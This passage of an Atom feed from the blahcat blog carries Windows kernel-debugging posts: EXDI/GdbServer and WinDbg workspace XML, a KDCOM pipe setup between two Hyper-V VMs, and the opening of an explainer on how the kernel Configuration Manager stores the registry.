&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiGdbServerConfigData &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;agentNamePacket &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;uuid &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;72d4aeda-9723-4972-b89a-679ac79810ef&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;displayCommPackets &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;debuggerSessionByCore &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;enableThrowExceptionOnMemoryErrors &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;qSupportedPacket&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;qSupported:xmlRegisters=aarch64,i386&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiGdbServerTargetData &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;targetArchitecture &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ARM64&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;targetFamily &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ProcessorFamilyARM64&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;numberOfCores &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;EnableSseContext &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;heuristicScanSize &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0xffe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;targetDescriptionFile &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;target.xml&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GdbServerConnectionParameters &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MultiCoreGdbServerSessions &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MaximumGdbServerPacketLength &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MaximumConnectAttempts &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SendPacketTimeout &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;ReceivePacketTimeout &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3000&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Value &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;HostNameAndPort&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;LocalHost:1234&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GdbServerConnectionParameters&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiGdbServerMemoryCommands &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;GdbSpecialMemoryCommand &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;PhysicalMemory &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SupervisorMemory &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;HypervisorMemory &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SpecialMemoryRegister &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SystemRegistersGdbMonitor &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SystemRegisterDecoding &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiGdbServerMemoryCommands&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And create the workspace:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xml &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;encoding&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;Name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;WinDbg Is Awesome&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;LastUsed&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2019-07-16T05:23:58.2908827Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;AccentColor&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;#FFCA5100&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineConfig &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;KernelConnect&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ConnectionString&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;exdi:CLSID={72d4aeda-9723-4972-b89a-679ac79810ef},Kd=NtBaseAddr,DataBreaks=Exdi&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ConnectionType&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;EXDI&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;QuietMode&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;InitialBreak&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Enjoy 🍻&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Setup KDCOM for 2 Hyper-V VMs</title>
        <published>2022-07-14T00:00:00+00:00</published>
        <updated>2022-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2022-07-14-setup-hyperv-kdcom/"/>
        <id>https://blahcat.github.io/2022-07-14-setup-hyperv-kdcom/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2022-07-14-setup-hyperv-kdcom/">&lt;p&gt;How to use Hyper-V to debug using KdCOM from 2 VMs, one debugging the other.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;debuggee&quot;&gt;Debuggee&lt;&#x2F;h2&gt;
&lt;p&gt;Follow the setup &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;posts&#x2F;2017&#x2F;08&#x2F;07&#x2F;setting-up-a-windows-vm-lab-for-kernel-debugging.html&quot;&gt;here&lt;&#x2F;a&gt; to setup a BCD profile for KdCom in the VM. Shutdown the VM and in a privileged prompt on the host (here assigned to COM1):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Set-VMComPort&lt;&#x2F;span&gt;&lt;span&gt; MyDebuggedVM  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; \\.\pipe\win7x64-kdcom
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;debugger&quot;&gt;Debugger&lt;&#x2F;h2&gt;
&lt;p&gt;Still on a privileged prompt on the host, choose a COM port number and connect it to the same pipe:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Set-VMComPort&lt;&#x2F;span&gt;&lt;span&gt; MyDebuggerVM &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; \\.\pipe\win7x64-kdcom
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Boot the debugger and make WinDbgX listen to that port&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span&gt;windbgx -k com:pipe,port=\\.\com1,resets=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,reconnect
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Enjoy&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;179017302-76f5a1ca-acc3-48fb-a6d1-e7d13ba74a45.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;179017302-76f5a1ca-acc3-48fb-a6d1-e7d13ba74a45.png&quot;

    

    
    title=&quot;image&quot;
    alt=&quot;image&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Browsing the registry in kernel-mode</title>
        <published>2021-01-10T00:00:00+00:00</published>
        <updated>2021-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2021-01-10-browsing-registry-kernel-mode/"/>
        <id>https://blahcat.github.io/2021-01-10-browsing-registry-kernel-mode/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2021-01-10-browsing-registry-kernel-mode/">&lt;p&gt;One of Windows kernel subsystem I recently dug into is the Configuration Manager (&lt;abbr title=&quot;Configuration Manager&quot;&gt;CM&lt;&#x2F;abbr&gt;), mostly because I found very scarce public resources about it despite its criticality: this subsystem is responsible for managing the configuration of all Windows resources, and in user-land is exposed via a very familiar mechanism, the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;troubleshoot&#x2F;windows-server&#x2F;performance&#x2F;windows-registry-advanced-users&quot;&gt;Windows Registry&lt;&#x2F;a&gt;. It is a pretty well documented &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;sysinfo&#x2F;registry&quot;&gt;user-land mechanism&lt;&#x2F;a&gt;, and so is its &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;install&#x2F;registry-trees-and-keys&quot;&gt;kernel driver API&lt;&#x2F;a&gt;. My curiosity was around its inner working, and all the few (but brilliant) resources can be found in the link section below.&lt;&#x2F;p&gt;
&lt;p&gt;What I wondered was: How is the registry handled in the kernel by the &lt;abbr title=&quot;Configuration Manager&quot;&gt;CM&lt;&#x2F;abbr&gt;? So in the same way that I explored &lt;a href=&quot;&#x2F;2020&#x2F;06&#x2F;14&#x2F;playing_with_self_reference_pml4_entry&#x2F;&quot;&gt;other&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;blob&#x2F;master&#x2F;scripts&#x2F;VadExplorer.js&quot;&gt;Windows&lt;&#x2F;a&gt; &lt;a href=&quot;&#x2F;2019&#x2F;01&#x2F;30&#x2F;playing-with-windows-root-directory-object&#x2F;&quot;&gt;subsystems&lt;&#x2F;a&gt;, I tried to keep a practical approach, and the result was this WinDbg Js script, &lt;code&gt;RegistryExplorer.js&lt;&#x2F;code&gt; &lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-0-1&quot;&gt;&lt;a href=&quot;#fn-0&quot;&gt;[1]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; that’ll be referring to throughout this post. This script allows to browse and query via LINQ the registry in a kernel debugging session.&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;This is a collection of notes, do not blindly trust, assume mistakes. Also, you’ll find the KD commands are given to reproduce easily, but your offset&#x2F;index may vary. Last, everything was done&#x2F;tested against Windows 10 x64 1909: I assume those findings to be applicable to other versions, but it may not be the case.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;&#x2F;h2&gt;
&lt;p&gt;The Registry consists of a set of regular structures called “Hives”. Off-memory, they live in regular file (usually but not necessarily suffixed as &lt;code&gt;.dat&lt;&#x2F;code&gt; - ex: &lt;code&gt;%USERPROFILE%\NTUSER.dat&lt;&#x2F;code&gt;). Each &lt;code&gt;.dat&lt;&#x2F;code&gt; file operates as a small File System with its own hierarchy and nomenclature:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Registry&lt;&#x2F;strong&gt;: Collection of (2) Hives (+ metadata) → &lt;code&gt;PRIMARY&lt;&#x2F;code&gt; + &lt;code&gt;.LOG&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Hive&lt;&#x2F;strong&gt;: Collection of Bins (+ metadata), follows a tree structure&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Bin&lt;&#x2F;strong&gt;: Collection of Cells (+ metadata), bin size must be aligned to &lt;code&gt;PAGE_SIZE&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Cell&lt;&#x2F;strong&gt;: Basic unit of allocation for the registry (contains raw data). The Cell size is declared as the 1st ULONG of the memory area. Those are critical, we’ll develop how below.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;As a tree, a &lt;strong&gt;Hive&lt;&#x2F;strong&gt; can be browsed, exposing:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keys&lt;&#x2F;strong&gt; (or &lt;strong&gt;Key Nodes&lt;&#x2F;strong&gt;), comparable to Directories in the traditional FS world&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Values&lt;&#x2F;strong&gt; (comparable to Files), each of which can have one of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;ddi&#x2F;wdm&#x2F;ns-wdm-_key_value_basic_information&quot;&gt;12 types&lt;&#x2F;a&gt;: &lt;code&gt;REG_NONE&lt;&#x2F;code&gt;, &lt;code&gt;REG_SZ&lt;&#x2F;code&gt;, &lt;code&gt;REG_EXPAND_SZ&lt;&#x2F;code&gt;, &lt;code&gt;REG_BINARY&lt;&#x2F;code&gt;, &lt;code&gt;REG_DWORD_LITTLE_ENDIAN&lt;&#x2F;code&gt;, &lt;code&gt;REG_DWORD&lt;&#x2F;code&gt;, &lt;code&gt;REG_DWORD_BIG_ENDIAN&lt;&#x2F;code&gt;, &lt;code&gt;REG_LINK&lt;&#x2F;code&gt;, &lt;code&gt;REG_MULTI_SZ&lt;&#x2F;code&gt;, &lt;code&gt;REG_RESOURCE_LIST&lt;&#x2F;code&gt;, &lt;code&gt;REG_FULL_RESOURCE_DESCRIPTOR&lt;&#x2F;code&gt;, &lt;code&gt;REG_RESOURCE_REQUIREMENTS_LIST&lt;&#x2F;code&gt;, &lt;code&gt;REG_QWORD_LITTLE_ENDIAN&lt;&#x2F;code&gt;, &lt;code&gt;REG_QWORD&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Therefore a Key can contain Sub-Keys but also Values, just like a folder can contain sub-folders and files. Later on, we’ll explain how to enumerate them, as we must go over some pre-requisites first. It could be noted that the analogy of a typical File System is true to the point where it is possible to abuse some situations via Symbolic Links (exploiting &lt;code&gt;REG_LINK&lt;&#x2F;code&gt; types) but we won’t be covering that today.&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-success
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
